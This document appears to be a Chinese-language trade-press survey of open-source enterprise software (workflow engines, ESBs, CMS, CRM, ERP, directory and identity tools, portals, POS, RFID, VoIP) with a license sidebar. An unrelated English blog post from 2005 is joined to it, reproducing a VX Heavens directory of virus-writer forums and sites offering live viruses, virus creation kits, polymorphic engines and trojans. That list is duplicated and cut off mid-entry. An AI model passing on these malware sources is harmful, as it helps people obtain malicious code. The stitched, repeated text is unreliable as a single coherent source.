这就是为什么Apache软件基金会考虑采用Project Agila的原因。在该基金会的Jakarta Java工具套件当中,这个项目可以说是 “皇冠上的宝石”。Agila是基于Gluecode软件公司在2004年10月捐献的初始代码开发的,这个轻便、可嵌入的开源业务流程管理引擎适合与 J2EE和较低端的平台如J2ME一起使用。Apache的代表声称,正因为如此,Agila是Apache Java中间件系列当中的最后一个重要部分,可以同BEA或者IBM等主要商业开发商提供的产品相媲美。目前这个项目还处于孵化阶段,没有授权文件,不过已经向公众开放。但预计大规模的开发工作很快就会启动。
Apache软件基金会不是惟一遵循这条思路的组织。JBoss 也在期望把产品系列扩大到其核心应用服务器以外的领域。JBoss近期购买了名为jBPM的开源工作流引擎,把其丰富的Java开发经验带到了业务流程管理市场上。
与Project Agila一样,jBPM也可以作为独立的应用运行,或者作为另一个应用里面的嵌入式组件运行。与Apache项目不同的是,jBPM代码已经可以从 JBoss的网站下载,采用该公司的定制的宽通用公共许可证 (LGPL)。除了引擎本身外,jBPM还包括图形化的流程设计器,用于创建工作流。该项目的未来计划包括: 增加对业务流程执行语言(BPEL)的本地支持; 就长远而言,项目的目标是要扩展jBPM的功能,使其成为一种成熟的企业服务总线(ESB)。
除了这两个主角外,还有其他许多开源工作流引擎(有的正在拟议中),不过这些项目的发展状况往往很难确定。不过,管理业务流程这项复杂工作需要专门技能。如果你在寻求这类软件的开源方案,稳妥之计就是,选择得到像Apache或者JBoss这些财力雄厚、专业的组织支持的项目。
开源企业服务总线
中间件方案的数量在迅速增加,但现在离开商业开发商也许过于仓促了。
随着Java应用服务器迅速成为一种大众化商品,难怪现在我们开始看到企业中间件系列的其他组件以开源方式实施。尤其是,近几个月已出现了许多极其成熟的企业服务总线(ESB)实施项目。
Iona科技公司近期捐献了Celtix的源代码,这是采用GNU LGPL许可证的Java ESB,从而启动了ObjectWeb社区在ESB方面的工作。虽然迄今为止还没有提供授权文件,但Iona的代表声称,Celtix将支持最近推出的 Java商业智能(JBI)规范,该规范为跨应用集成明确规定了标准化的对象容器。该项目还将支持Web服务描述语言(WSDL)、Java消息服务(JMS)、简单对象访问协议(SOAP)和XML,还会为Java和传统Java对象(POJO)提供应用扩展接口。其管理和配置工具将基于 Eclipse。
不甘落后的Sun也在今年的JavaOne大会上发布了自己的免费ESB。这个名为Java开放式企业服务总线的项目将放在Java.net上进行,第一个版本有望在今年夏末交付。Sun还计划把来自这个社区项目的代码包装成商用产品。与Celtix一样,Open ESB将基于JBI 1.0规范,并借助JBI参考实施方案。可是与Iona不同的是,Sun发布的代码将采用自己的公共开发和发行许可证,而不是GNU许可证。相关详细情况仍很少。
虽然前面提到的项目仍处于初期阶段,但至少有一个开源ESB已经具有一定的发展历史。由 SymphonySoft公司发起的Mule项目从2003年开始就在开发了。该项目的当前版本为1.1,支持可插拔的连接选项,适用于众多网络传输技术,包括JMS、POP3、TCP、UDP、服务器小程序和多点传送等。更先进的特性在路线图中有所介绍,譬如,JBI实施要到版本2.0才会出现等。另外,该项目采用SymphonySoft自己的许可证发布,而不是免费软件基金会或者开源促进会批准的许可证,这对一些人来说是个不足。
有了代码,上述项目都有可能为部门级ESB部署打下良好基础。然而就大规模部署而言,没有一个项目可能会有太大的吸引力。由于许多ESB部署方案把JMS统一作为首选的消息传输方式,如果有些公司已经向Cape Clear Software、Fiorano Software或Sonic Software这些厂商购买了企业级JMS服务器,那么采用这些厂商的ESB产品,或者坚持使用较传统的中间件解决方案要比采用开源来得明智。
开源内容管理系统
挑选内容管理系统解决方案最困难的地方就是缩小选择范围。
随着Web成为大多数企业进行联系的基础,你会发现如今市场上并不缺少Web内容管理系统(CMS),包括众多的开源方案。自然,如果你大胆地利用这些产品搭建内联网或者面向公众的网站,需要关注的不仅仅是许可费。所以重要的是不仅仅寻求产品的功能,还要注意有无经常更新、健康发展的用户社区以及专业支持等方面。
OpenCms运行在Apache Tomcat上,适用于大多数操作系统,并采用宽通用公共许可证(LGPL)。众多注册的解决方案提供商可以提供实施支持及其他专业服务。此外,德国的 Alkacon Software公司提供收费的支持协议、最终用户及开发培训课程(分英文和德文两种版本)以及定制的项目开发。
表格和所见即所得的编辑器简化了编辑OpenCms里面的内容条目,而该软件使用方便的管理用户界面允许轻松定制。不过,OpenCms在几个高级方面也有所欠缺: 缺少安全套接层(SSL)加密和轻型目录访问协议(LDAP)验证; 提供的模板管理功能也很有限。虽然它具有成本效益,但如果你需要扩展多个网站,或者如果你期望获得企业性能管理功能如高速缓冲和负载平衡,不妨考虑其他产品。
全世界的人都在使用基于PHP和MySQL 的CMS Mambo,既用于构建简单的网站,也用于构建复杂的企业应用。Mambo的开发社区真正属于国际化,提供功能强大的支持论坛、优质的第三方专业服务以及用户大会。Mambo采用GPL许可证,但总部设在澳大利亚的Miro(该软件的开发者)也提供名为Jango的商用版本。
Mambo提供相当不错的页面缓冲、RSS聚集以及在计划表上显示内容的功能。可以从Mambo社区获得许多功能强大的免费附件,包括文档管理特性、讨论论坛以及基本的电子商务购物手推车等。不过类似OpenCms的是,Mambo也缺少大规模实施所需的多重任务执行功能。
最全面的开源CMS应用软件恐怕就要数eZ publish了,它提供内容分段(content staging)、工作流审批以及IT人员所需的数据中心的所有功能——包括负载平衡。另外,可以重复使用一些内容的功能使eZ publish适用于只要用一个CMS实例就可以托管的国际网站。
现在可以获得GPL版本的eZ publish。总部设在挪威的eZ systems是这个软件的开发商,它还提供采用商业许可证的版本。这些许可费用于支付大约40名员工的薪水,他们在开发产品时遵守严格的质量保证周期,可以同纯粹的商业开发商的周期相比。它还提供支持、培训和咨询服务等。
开源客户关系管理系统
不用花大价钱购买软件就可以管理销售及客户关系。
开源社区还无法在短期内取代Salesforce.com或者Siebel这类厂商提供的价格不菲的高端CRM软件。不过,现有的一些项目已经具有的先进程度可能会让你大吃一惊,尤其适用于中型组织。
譬如说,SugarCRM就提供全面的企业级CRM系统,利用开源技术而建,包括PHP、MySQL和 Apache Web服务器等。名为Sugar Open Source的基本套件可以免费下载,它采用SugarCRM的定制许可证。该公司还提供商业版本的软件,名为Sugar Professional。SugarCRM为该产品的商业版本和开源版本提供收费的支持套件。
《InfoWorld》测试中心曾在4月测评了Sugar Professional 2.5,结果发现这款解决方案对中小企业来说还算不错。此外,说到对性能的改进,SugarCRM也决不含糊。版本3.0添加了营销活动和联系人名单管理、电子邮件营销、项目管理、员工目录及日历同步等工具。即将推出的版本3.5将添加面向移动销售人员的离线客户软件、可以扩展的模块化框架以及支持 Oracle数据库的功能。
Compiere主要是一款ERP解决方案,它也提供了一些CRM功能。Compiere不是为用户提供独立的模块,而是提供了解所有客户和潜在客户有关活动的逻辑视图,还提供线索跟踪、营销活动管理、客户盈利能力分析以及面向商业合作伙伴的自助式网上查询等。你可以从本专题“开源ERP”的介绍中进一步了解Compiere。
Open for Business Project提供的电子商务应用软件套件采用麻省理工学院的许可证,包括民CRM、ERP和电子商务的特性。Open for Business Project类似于Compiere,也不是把功能分散到不同模块,而是把整个套件建立在通用数据模型上,从而便于销售、会计、设备管理及协作等众多活动。这有其优缺点: 这意味着众多活动在套件里面得到了很好的集成,但同时也意味着,你必须购买整个整体式软件包,才能充分利用其功能。许多一流的咨询组织提供对该软件包的支持。
销售和客户支持活动对大多数公司来说太重要了,不能把CRM软件包不当回事。然而,开源模式的一个优点就是,你不会被有限的试用期所限制,而商业软件包或者Salesforce.com等厂商的托管方案对此都有所限制。此处列出来的所有软件包随时都可以下载,所以尽管放心试用吧——你不用花钱就可以试一下。
开源ERP
免费ERP软件包的特性差异很大,不过还是可以找到一些宝贝的。
ERP的目的不仅仅是为公司业务流程的每个层面提供统一的应用界面,它还应力求包含固有的数据挖掘功能。但尽管JD Edwards、Oracle、SAP及其他厂商投入了大量资源,用于开发任何企业都可以定制的ERP软件,但这些厂商也把软件价格推到了许多企业根本无力承受的高度。
这时开源ERP闪亮登场了。
ERP的高昂价格有很大一部分是用于支付一大批业务流程和软件开发顾问的薪水,因为要为不同的业务部门定制商业软件,需要这些顾问。而使用开源ERP软件代码意味着,你可以在内部实现这种定制,另外还可以避免高昂的软件许可费。
其中一款最知名的开源ERP软件就来自Compiere。这款软件着眼于业务分析功能,集成了CRM、销售点(POS)和库存管理模块,为多种商业场景提供了出众的灵活性。该产品可以使用Java数据库连接(JDBC),与大多数关系数据库进行集成,并且还提供了对Oracle和Sybase的特定支持。服务器和客户机平台包括: Linux、Solaris、Windows及其他平台。该软件的发行采用Mozilla公共许可证。
采用GNU许可证的webERP是另一个生产级项目,它包括了全面的记账特性,包括总分类账、应付账款和应收账款账簿,还包括基于规则的安全及可以高度定制的基于Web的前端程序。它面向类似制造业的业务流程,包括对订单录入和库存管理的支持。与Compiere不同的是,它没有用于客户管理、人力资源或者类似资源的模块。全球有许多公司提供金牌、银牌、铜牌及语言翻译支持。
还有其他一些项目,不过开源项目的一个特点就是,不同项目对这类软件的特性集的定义方式各不相同。对ERP软件包来说更是如此。譬如说, Linux-Kontor定义的ERP没有记账功能,而是专注于客户管理、订单录入、开票及库存。另一方面,虽然TUTOS自称是ERP,但更像是一个群件套件。显然,为了确保你真正获得期望从这类软件得到的功能,就需要作一番调查。
开源目录服务
LDAP服务器向大众化商品迈近了一步。
随着越来越多的公司开始调查身份管理、单次登录(SSO)和自动配置等功能,目录服务随之迅速成了网络基础设施中的一个关键部分。不过迄今为止,还没有哪个开源项目在该领域获得像Apache在Web服务器市场的主导地位。
长期以来的主要竞争者就是OpenLDAP,该项目提供了可靠、可扩展、稳定的LDAP目录服务器、复制服务器及一些基本工具。OpenLDAP 基金会负责维护采用定制许可证的代码,已把代码移植到了众多平台上,包括AIX、FreeBSD、Linux、Mac OS X和Windows。OpenLDAP很成熟,可正常使用,但很难配置,尤其是在编写访问控制列表(ACL)时。另外,它主要是一种重负荷服务器,缺少微软、Novell和Sun这些厂商的商用LDAP目录所具有的一些增强特性。
Novell已把开源作为其战略的核心部分,不过对网络管理员们来说,比较遗憾的是,eDirectory仍是其商用产品系列的一部分,这让竞争对手——Linux厂商Red Hat有机会采取行动,推出自己的开源产品。Red Hat目录服务器(RHDS)面向Windows、Solaris(采用Sparc处理器)和HP-UX(采用PA-RISC处理器),基于原先名为 Netscape目录的产品上,Red Hat在2004年从Netscape手里买下了Netscape目录。RHDS是款历史悠久、性能成熟的产品,提供复制等高级特性—包括部分复制、专门面向大型数据库的特性以及基于WAN链路的复制,还提供与微软的活动目录和Windows NT 4 Server同步的功能。
目前,RHDS仅提供给采用Red Hat的订购支持模式的客户。然而,该公司已经开始开放该软件的源码,这个采用GPL许可证的项目名为Fedora目录服务器。截至发稿日,只有核心 LDAP服务器本身及一些命令行工具作为开源提供,不过其他服务器模块、管理控制台和管理服务器组件方面的工作正在开展当中。
许多观察人士认为,从长远来看,对寻求开源目录服务器的人来说,Fedora项目可能是优于OpenLDAP 的选择。但鉴于OpenLDAP作为经济型目录部署的事实上的标准,已牢牢确立了地位,所以不可能很快就会消亡。对基本的目录功能而言,两者都是可靠的选择,甚至对大型数据库而言也是如此。
开源身份管理
免费工具让开发人员在构建先进的安全基础设施方面领先一步。
全面的身份管理解决方案由许多部分组成。正因为如此,任何单个开源项目都很难提供即插即用的身份管理系统。然而,有许多项目可以提供这类系统的某些部分,尤其是在身份联合和单次登录(SSO)方面。
在SSO领域,耶鲁大学已开发了一组Java服务器小程序,名为集中授权服务(CAS)。提供的这组服务器小程序采用耶鲁大学自己的许可证,目前美国有许多大学在使用。同样采用定制许可证的另一个工具集是Java开放式单次登录(JOSSO)项目,可以为ASP、 PHP和Java应用提供扩展接口。
这两个项目都仅仅针对SSO,无法为全面的身份管理基础设施提供强大支持。但另一方面,开发身份联合标准的工作却大有希望——包括安全声明标记语言(SAML)、WS-*系列标准及自由联盟提议的众多标准等,这方面的许多开源项目工作已经在开展当中。
Ping Identity是SourceID的发起者。SourceID这种身份联合工具集提供了对基于Java和.Net的SAML 1.1及Liberty-ID-FF 1.1两种协议的支持,另外还支持仅基于Java的Liberty-ID-FF 1.2协议。这些库允许开发人员实现跨域SSO和属性查询等特性。提供的代码采用SourceID自己的许可证。代码还为Ping Identity的商用身份联合服务器: PingFederate奠定了基础。
最雄心勃勃的开源联合身份项目恐怕要数Shibboleth,主持该项目的是Internet2下属的教育中间件架构委员会。 Shibboleth主要供Internet2网络上的教育机构使用,这种全面的验证和访问控制系统面向基于Web的资源,基于SAML 而建,并采用定制许可证发行。该软件是纯粹的Java软件,目前许多组织(包括大学、图书馆和Napster数字音乐服务商)都已把它投入实际使用当中。
这里提到的开源身份方案都需要一些开发技能,而且对本地网络环境要有透彻了解,那样才能得到有效实施。如果全面的身份管理解决方案正是你所寻求的,还是寻求不同的商业开发商为好。不过随着身份管理越来越受到关注,其中一些项目、尤其是Shibboleth会获得更显赫的地位。
声明
本报第37期应用与方案版第C9版所刊登《在SCO Unix系统中实现业务数据的自动备份》一文的作者系中国人民银行湖南省邵阳市中心支行科技科赵志斌。
本报第38、39期应用与方案版第C12版所刊登《全新接入架构提升IT管理效能》一文中安莉芳集团公司CTO姓名应为王建平。
特此声明。
开源企业门户
开源Java企业门户领域的竞争在不断加剧。
是否支持标准是大多数企业开发项目的重要衡量标准。在企业门户服务器领域,这意味着符合J2EE的引擎支持多种标准,如门户组件(JSR 168)和面向远程门户组件的Web服务(WSRP)等。幸好,已有为数不少的开源项目在这一领域参与竞争。
其中比较突出的一个项目就是eXo平台。这个项目已经进入了实际使用阶段,旨在充当可以定制的企业门户和内容管理系统。其门户组件容器实际上通过了认证,符合JSR 168标准,并已得到改进,具有高速缓存、连接池和共享会话等特性。门户本身基于JavaServer Faces(JSR 127)技术,并提供模型视图控制器架构。它采用两种许可证: 商业许可证和GPL许可证,eXo项目队伍可提供在线支持和上门培训这两种收费服务。
另一个竞争者就是Liferay Portal,它拥有类似eXo的特性集,包括符合JSR 168和WSRP。但Liferay没有使用JavaServer Faces,而是使用了较成熟的Struts和Tiles技术。它可以运行在众多应用服务器和数据库上,并为单次登录(SSO)功能提供了扩展接口,不过默认状态下只支持耶鲁大学的SSO引擎。与eXo一样,Liferay开发人员本身也可以提供专业支持,不过支持费用很快就会高涨。软件本身采用麻省理工学院的许可证,类似Apache许可证。
Apache软件基金会长期关注企业门户软件,目前拥有这方面的许多项目。Jetspeed-1软件就是基于 JSP和XML等技术的基本门户系统。Jetspeed-2更加基于组件,提供了更先进的基于门户组件的方法。Apache还提供了门户组件容器的参考实施方案,即Pluto。所有这些都采用Apache许可证。
JBoss也推出了JBoss门户,这是该公司的JBoss企业中间件系统(JEMS)Java应用开发系列当中的一部分。这是另一种符合JSR 168的门户组件容器,可通过JavaServer Faces、MyFaces和Spring提供定制功能,另外还提供额外的内容管理和其他管理功能。作为“专业的开源公司”,JBoss提供GNU LGPL和商业许可两种方式,另外还提供专业支持、咨询和培训。
最后,GridSphere是另一种符合JSR 168的基于门户组件的门户服务器,并支持JavaServer Faces。值得注意的另一个功能就是额外的门户组件API,声称几乎可以与IBM的WebSphere保持完全兼容。可通过Gridwise科技公司获得咨询、培训和开发支持。不过,提供的这个软件采用未得到OSI批准的独立的GridSphere许可证。
开源销售点
免费的商业终端软件为大大小小的公司带来了灵活性。
销售点(POS)的另一个术语就是“现金出纳机”。尽管现金出纳机的功能要求可能很有限,但从企业角度来看,这类应用涉及诸多不确定因素,包括硬件兼容性、面向垂直领域的定制数据收集及后端数据挖掘等。
幸好,有一些方案可以供你选择。譬如,PHP销售点就是一种成熟的开源POS应用。它基于PHP和MySQL,采用GPL许可证,为基本的POS 应用场景提供了非常丰富的特性集。它还可以与领先的开源电子商务应用: osCommerce实现集成。这意味着,你可以使用PHP POS进行网上交易,也可以用于传统的交易环境。该软件自2003年发布以来,下载次数已超过26000次。版本9.0正在开发当中,有望增强销售功能、提供更灵活的折扣方式以及经过改进的后台报表系统。
值得关注的另一个对象是Tina POS,这个项目目前正处在实际使用阶段。Tina POS采用GPL许可证,拥有良好的硬件支持功能,包括支持条形码阅读器、触摸屏以及众多票据打印机。它可以通过JDBC连接至数据库,有一个Java前端程序,而且提供了出色的后端办公集成和报表功能。
如果现有的端到端POS解决方案没有一款能够提供你所需要的所有定制选项,开源社区仍可以助你一臂之力。不妨看看jPOS,这是与J2EE兼容的框架库,适合嵌入到内部的定制解决方案里面。jPOS有一组出色的硬件扩展接口,支持基于角色的安全,甚至还有一支不断壮大的咨询队伍可以提供支持。如果你已经决定,自行开发POS系统是出路所在,那么jPOS绝对值得密切关注。可能存在的一个不足是,所提供的代码采用专有的 jPOS许可证,而不是得到OSI认可的任何现有许可证。
虽然不是采用开源模式的所有应用软件都具有可持续性,但POS显然是个异数。开源社区不仅提供众多灵活的选择,还提供让这些应用软件真正可以使用的支持架构——甚至是对小企业而言。
开源RFID
免费的标签和EPC数据管理软件正处于初期阶段,但前景诱人。
如果说在过去一年,IT行业有一个领域受到的关注程度不亚于开源本身,那么非无线射频(RFID)莫属。不过迄今为止,RFID还是属于昂贵的技术,最强有力的支持来自沃尔玛等大型零售商。公司企业不得不依靠昂贵的商用软件包在各自行业开展业务,但这种情况必然会发生变化。RadioActive 基金会由两名加拿大企业家创办而成,旨在开发一系列开源RFID应用软件,以支持电子产品代码(EPC)及来自 EPCGlobal Network的其他标准。
它的第一个项目就是Fusion,这个中间件层用于管理及收集来自标签和传感阅读器的数据,然后把该数据传送到企业信息系统。拟议中的其他计划包括: Neutrino,这组工具用于在商业合作伙伴之间交换EPC数据; Graviton,这个基于驱动程序的模拟器可以模拟不同制造商的RFID硬件。RadioActive基金会的所有项目都采用Apache许可证发布。
RadioActive基金会把其所有项目列为处于规划阶段,所以等实际代码开始出现可能需要一段时间。该基金会鼓励有关方面可以参与其新组建的开源RFID联盟,它希望这会激发人们的兴趣、加快相关软件的开发。无论这会不会真的发生,或者项目会不会失败,都仍有待观察。
开源VoIP/电话
有关PBX应用和交互语音应答系统的方案数量众多。
Digium发起的Asterisk是首批开源VoIP项目之一,也是最早的VoIP PBX之一。Asterisk是一个非常成熟的平台,采用GPL许可证,它几乎支持连大企业都会希望VoIP网关解决方案提供的各种功能,包括语音邮件、呼叫转移、会议功能,甚至交互语音应答(IVR)等。它还有呼叫详细记录——这是VoIP的滚滚财源,以及适合用于虚拟教室或者虚拟会议室等场合的高级特性。其庞大的开发社区在为该平台贡献更多的附件,包括商业版本和开源版本。
不过,尽管Asterisk也许是个开拓者,但肯定绝不是只有它一个。如今已出现了许多竞争性的新型开源 VoIP平台,它们基于会话初始化协议(SIP)。Pingtel已为其商用SIPxchange PBX发布了代码,目前由一家名为SIP-Foundry的非营利组织旗下的sipX加以管理。虽然成熟程度不及Asterisk,但sipX更加严格遵守开放的SIP标准,从而提高了软硬件的兼容性——至少目前是这样。
SIP快速路由器(SER)严格遵守SIP标准。它用C语言编写,采用GPL许可证发行,已被移植到 Linux和Solaris上。除了充当SIP服务器外,SER还可以为短消息服务(SMS)、即时通信(IM)、RADIUS记账和授权以及基于Web 的用户配置充当网关。基于SER的商用产品可从iptelorg购得。可启动的LiveCD版软件也可以获得,它扩展了SER的功能,添加了用起来方便得多的基于Web的管理工具,并支持思科和Mitel等厂商的通用VoIP硬件。
Yate(另一个电话引擎)采用GPL发行,这是个异常灵活的平台。Yate非常成熟,包括了对SIP、H.323及其他协议的支持,可以运行在Linux或者Windows上。它具有所有常见的PBX增强功能: 语音邮件和呼叫转移等,还可以作为IVR服务器使用。
不过,那些热衷于更稳定更可靠的IVR应用的人最好还是考虑Bayonne,这是GNU Project的脚本驱动的电话服务器。Bayonne历史悠久,为众多的电信级电话应用而设计。商业支持可以从许多途径获得。Bayonne最近已被纳入更齐全的GNU Telephony这面大旗麾下,GNU Telephony包括许多其他免费软件项目。
链接
形形色色的开源许可证
你在使用开源代码之前,要确保了解相关条款。
据最新统计,开源促进会(OSI)认可了近60种不同的开源许可证。如果你只想安装及使用软件包,那么采用哪种许可证并不重要。但特别重要的是,如果你想修改代码,或者把它用到自己的项目中,就要注意许可条款。
GNU GPL(通用公共许可证)可能是知名度最高的开源许可证,也是最为开发人员熟悉的其中一种许可证。如果企业想开发专有应用软件,GPL很可能是个问题,因为它在相互共享代码方面有着严格规定。
这个问题导致后来出现了GNU LGPL(宽通用公共许可证),它授权使用源代码,但仍允许源代码有限制地使用于专有产品,并不启动普通的源代码发布条款。JBoss喜欢使用这种许可证,各种代码库对这种许可证也是情有独钟。
另一种对商业有利的开源许可证是BSD许可证。然而,许多开源的支持者认为LGPL、尤其是BSD许可证并不适宜,因为它们允许外部的开发人员不用提供任何回报,就可以利用来自开源项目的代码。
为了取悦于这两个阵营,许多开源厂商采用了双许可模式。它们采用GPL发布代码,但也向那些不想受GPL条款限制的公司提供独立的商业许可证。MySQL和Red Hat就是采用这种模式的知名厂商。
另外,还有众多得到OSI批准的开源许可证,但有许多在不得重新分发这一点上是相似的。另外值得一提的是,绝大多数的开源许可证授予开发人员完全不必承担质量保证和支持义务。
然而对许多公司来说,一个特别头痛的问题源自所谓的自定义许可证大量出现。很多厂商坚持自己定义许可证,而不是统一采用OSI已经批准的许可证。虽然这些许可证的条款往往类似OSI批准的许可证,但一些细小问题通常会有出入,有时一些重大问题也会有出入。
遗憾的是,每次你往自己的环境中添加一种新许可证,就需要新一轮的调查工作,确保该许可证的条款有利于贵公司的业务实践。这就意味着,要支付额外的成本,也错失了产品尽快上市的良机。而在某些情况下,新的许可证其实可能与你已经在使用的软件的许可证水火不相容。所以,有时坚持采用你熟悉的许可证还是值得的。
星期四, 十二月 08, 2005
VX Heavens
VX Heavens
http://vx.netlux.org/ You are here
Magazines, tutorials, papers, laws, sources, live viruses, polymorphic engines, virus creation tools, collecting utilities, simulators, links (this page), and more ...
#vxers
http://vxers.host.sk/ #vxers s an IRC channel which has been created by VXers (virus writers and traders) for VXers, a tension-free virtual meeting point which will be democratically administered by some of the most relevant figures of the VX scene, according to the will and the criterion of the majority of the registered users of any level. (6198 hits since 09/04/02, avg/day 5.2079)
-
http://www.nvkz.kuzbass.net/as/ - (4271 hits since 03/18/04, avg/day 6.7842)
A Little Viruses Collection
http://www.rigacci.org/comp/virus/ - (6918 hits since 03/11/04, avg/day 10.8621)
American Eagle Publications, Inc.
http://www.ameaglepubs.com/ Books on hacking, viruses etc (4923 hits since 12/31/01, avg/day 3.4254)
Assembly forum
http://www.asm-forum.cjb.net/ New assembly forum virus oriented. (3817 hits since 05/18/04, avg/day 6.7105)
BLACK_SYMBIAN
http://groups.yahoo.com/group/BLACK_SYMBIAN This is is in Indonesian. This site contains lot of Symbian / Mobile Viruses like Skulls,Caribe,CommWarrior,DoomBoot, CardTrap, etc... (77 hits since 11/11/05, avg/day 2.9024)
CRYPTOVIROLOGY
http://www.cryptovirology.com/ This site is dedicated to the study of Advanced Cryptographic Trojan Horses, Viruses, and Worms (2619 hits since 09/01/04, avg/day 5.6598)
d & f virus
http://web.tiscalinet.it/dec_spiderman/ av software and viruses (~100) for download (5816 hits since 12/31/01, avg/day 4.0468)
EvilBB for Viriiwriters
http://www.evilbb.net.ms// This is a Forum, where yo can talj about VXing. Join us today! (182 hits since 10/27/05, avg/day 4.4153)
H8CKRS PARADISE
http://elite-hackdown.jp.md/ Thats a small page in german where you can get some viruses and trojans (3953 hits since 06/25/04, avg/day 7.4556)
Hack Palace Virii section
http://www.hackpalace.com/virii/indexe.shtml Many downloads: engines, sources, binaries, Mac viruses. FTP-style. (7119 hits since 12/31/01, avg/day 4.9534)
Hacking Library
http://users.otenet.gr/~nicktrig/nsitexz/main/vir/index.htm Virus area on http://library.2ya.com/ Small collection of viruses and generators (3033 hits since 09/02/04, avg/day 6.5704)
Il simpatico bacillo!
http://jump.to/bacillo/ Links to viral and antiviral sites and a few viruses for download (3674 hits since 12/31/01, avg/day 2.5564)
Indonesian virus network
http://www.indovirus.net/ Place to download virus/worm source code & tutorial, have public forum, and membership account (1399 hits since 01/14/05, avg/day 4.2677)
Payload's of Virii
http://www.geocities.com/SiliconValley/Station/2873/ Several virus payloads for download. (4741 hits since 12/31/01, avg/day 3.2988)
Program-Filez
http://polymorphic11.tripod.com/viruses.htm You Can Download A Few Viruses Here (1141 hits since 05/13/05, avg/day 5.4613)
T E X T F I L E S
http://www.textfiles.com/virus/ Virus Textfiles. ~200 papers. (5139 hits since 12/31/01, avg/day 3.5757)
Tapion Project
http://pb.specialised.info/all/tapion/ TAPiON (Polymorphic Decryptor Generator) project (255 hits since 10/08/05, avg/day 4.1996)
See also TAPiON Polymorphic Decryptor Generator
The Collection
http://www.phreak.org/html/virii.shtml File archieve of Digital Information Society. Viruses (for different platforms), AVs, papers, sources, trojans, simulators. FTP-style (5780 hits since 12/31/01, avg/day 4.0217)
The TAZ
http://hyatus.newffr.com/ Temporary Autonomous Zone. (893 hits since 12/11/04, avg/day 2.4693)
Toxic-CV
http://mytoxic.20m.com/ Page contains one VCK (247 hits since 09/05/05, avg/day 2.6328)
Virus Central
http://mdk.iwarp.com A few viruses for download. Some e-zines(from coderz.net). (4556 hits since 12/31/01, avg/day 3.1701)
Virus informatiques (fr)
http://low-level.da.ru/ Descriptions of different types of viruses (french). (3349 hits since 10/08/02, avg/day 2.8964)
Virus magazines
http://madchat.org/vxdevl/ Big collection of virus e-zines and other virus related materials. FTP-style. (4894 hits since 12/12/02, avg/day 4.4817)
Virus Search Engine Ver 1.0
http://altavirus.cjb.net/ Small search engine on computer virus sites (4864 hits since 12/31/01, avg/day 3.3844)
Virus Wizard
http://www.geocities.com/randy027dsz36/ Virus Wizard Creation Tool (4048 hits since 12/27/02, avg/day 3.7593)
VX CHAOS FILE SERVER: Virii, Worms, Anti-Virus, Hacker Tools, Warez, Codes
http://vxchaos.cjb.net/ Virus and worm collection live and sources, virus writer ezines, tutorials and how to's, Virus Creation Programs And Construction Kits (VCK), PolyEngines, Trojans and Backdoors and more! (2610 hits since 04/18/05, avg/day 11.1582)
VX Forum
http://virii.host.sk/ Forum about viruses, and virus programming. (70 hits since 11/20/05, avg/day 3.9199)
Yugene Egorov
http://www.geocities.com/bio_yugene/ Small page in russian about viruses (several viruses, tutorials) (3623 hits since 12/13/02, avg/day 3.3225)
Zl0ba
http://zl0ba.boom.ru/
http://vx.netlux.org/ You are here
Magazines, tutorials, papers, laws, sources, live viruses, polymorphic engines, virus creation tools, collecting utilities, simulators, links (this page), and more ...
#vxers
http://vxers.host.sk/ #vxers s an IRC channel which has been created by VXers (virus writers and traders) for VXers, a tension-free virtual meeting point which will be democratically administered by some of the most relevant figures of the VX scene, according to the will and the criterion of the majority of the registered users of any level. (6198 hits since 09/04/02, avg/day 5.2079)
-
http://www.nvkz.kuzbass.net/as/ - (4271 hits since 03/18/04, avg/day 6.7842)
A Little Viruses Collection
http://www.rigacci.org/comp/virus/ - (6918 hits since 03/11/04, avg/day 10.8621)
American Eagle Publications, Inc.
http://www.ameaglepubs.com/ Books on hacking, viruses etc (4923 hits since 12/31/01, avg/day 3.4254)
Assembly forum
http://www.asm-forum.cjb.net/ New assembly forum virus oriented. (3817 hits since 05/18/04, avg/day 6.7105)
BLACK_SYMBIAN
http://groups.yahoo.com/group/BLACK_SYMBIAN This is is in Indonesian. This site contains lot of Symbian / Mobile Viruses like Skulls,Caribe,CommWarrior,DoomBoot, CardTrap, etc... (77 hits since 11/11/05, avg/day 2.9024)
CRYPTOVIROLOGY
http://www.cryptovirology.com/ This site is dedicated to the study of Advanced Cryptographic Trojan Horses, Viruses, and Worms (2619 hits since 09/01/04, avg/day 5.6598)
d & f virus
http://web.tiscalinet.it/dec_spiderman/ av software and viruses (~100) for download (5816 hits since 12/31/01, avg/day 4.0468)
EvilBB for Viriiwriters
http://www.evilbb.net.ms// This is a Forum, where yo can talj about VXing. Join us today! (182 hits since 10/27/05, avg/day 4.4153)
H8CKRS PARADISE
http://elite-hackdown.jp.md/ Thats a small page in german where you can get some viruses and trojans (3953 hits since 06/25/04, avg/day 7.4556)
Hack Palace Virii section
http://www.hackpalace.com/virii/indexe.shtml Many downloads: engines, sources, binaries, Mac viruses. FTP-style. (7119 hits since 12/31/01, avg/day 4.9534)
Hacking Library
http://users.otenet.gr/~nicktrig/nsitexz/main/vir/index.htm Virus area on http://library.2ya.com/ Small collection of viruses and generators (3033 hits since 09/02/04, avg/day 6.5704)
Il simpatico bacillo!
http://jump.to/bacillo/ Links to viral and antiviral sites and a few viruses for download (3674 hits since 12/31/01, avg/day 2.5564)
Indonesian virus network
http://www.indovirus.net/ Place to download virus/worm source code & tutorial, have public forum, and membership account (1399 hits since 01/14/05, avg/day 4.2677)
Payload's of Virii
http://www.geocities.com/SiliconValley/Station/2873/ Several virus payloads for download. (4741 hits since 12/31/01, avg/day 3.2988)
Program-Filez
http://polymorphic11.tripod.com/viruses.htm You Can Download A Few Viruses Here (1141 hits since 05/13/05, avg/day 5.4613)
T E X T F I L E S
http://www.textfiles.com/virus/ Virus Textfiles. ~200 papers. (5139 hits since 12/31/01, avg/day 3.5757)
Tapion Project
http://pb.specialised.info/all/tapion/ TAPiON (Polymorphic Decryptor Generator) project (255 hits since 10/08/05, avg/day 4.1996)
See also TAPiON Polymorphic Decryptor Generator
The Collection
http://www.phreak.org/html/virii.shtml File archieve of Digital Information Society. Viruses (for different platforms), AVs, papers, sources, trojans, simulators. FTP-style (5780 hits since 12/31/01, avg/day 4.0217)
The TAZ
http://hyatus.newffr.com/ Temporary Autonomous Zone. (893 hits since 12/11/04, avg/day 2.4693)
Toxic-CV
http://mytoxic.20m.com/ Page contains one VCK (247 hits since 09/05/05, avg/day 2.6328)
Virus Central
http://mdk.iwarp.com A few viruses for download. Some e-zines(from coderz.net). (4556 hits since 12/31/01, avg/day 3.1701)
Virus informatiques (fr)
